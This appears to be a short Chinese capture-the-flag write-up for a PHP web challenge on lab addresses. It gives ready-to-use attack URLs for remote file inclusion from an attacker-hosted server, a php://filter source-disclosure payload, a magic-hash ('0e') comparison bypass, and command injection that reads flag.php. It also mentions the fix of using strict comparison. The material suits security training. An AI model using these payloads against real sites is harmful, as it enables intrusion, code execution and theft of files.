1。观察
浏览器浏览网址
没有任何交互点等可用信息。
2。审计网页源码
右键查看网页源码
a) 发现有 a、b、c、d、e 五个GET方式接收参数
b) 过虑了 .php 的文件后缀, ../ 的网页跳转
c)
i. 可以尝试远程文件包含,自建网站。同时 $a= 对文件的读取的内容 和 $b 传入的参数相同 $e= 对文件的读取内容是 I'm Administrator!
ii. 所以尝试
http://192.168.100.196/
?a=http://192.168.100.93/lianxi/a
&b=a
&e=http://192.168.100.93/lianxi/e
iii. 根据 猜测可能在网站同级目录下存在一个class.php文件,利用php伪协议的特性进行文件读取
http://192.168.100.196/
?a=http://192.168.100.93/lianxi/a
&b=a
&e=http://192.168.100.93/lianxi/e
&c=php://filter/read=convert.base64-encode/resource=class.php
iv. 将base64的编码进行解码得到如下代码
3。对解析出来的代码审计
a) 根据 推断在网页的同级目录下存在 class.php网页。
b) 尝试浏览网页,发现为空
c) 利用php特性,在处理哈希字符串时,会利用 != 或 == 来对比,把每一个以 0E 开头的哈希值都解析为0,如果两个不同的密码经过哈希后,其值都是以 0E 开头的,那么PHP会认为他们是相同的。
i. 改善方式使用 === 进行比较即可避免这个问题
d) http://192.168.100.196/class.php
?m1=QNKCDZO
&m2=s878926199a
e) 使用tac替代cat效果
http://192.168.100.196/class.php
?m1=QNKCDZO
&m2=s878926199a
&cmd=tac flag.php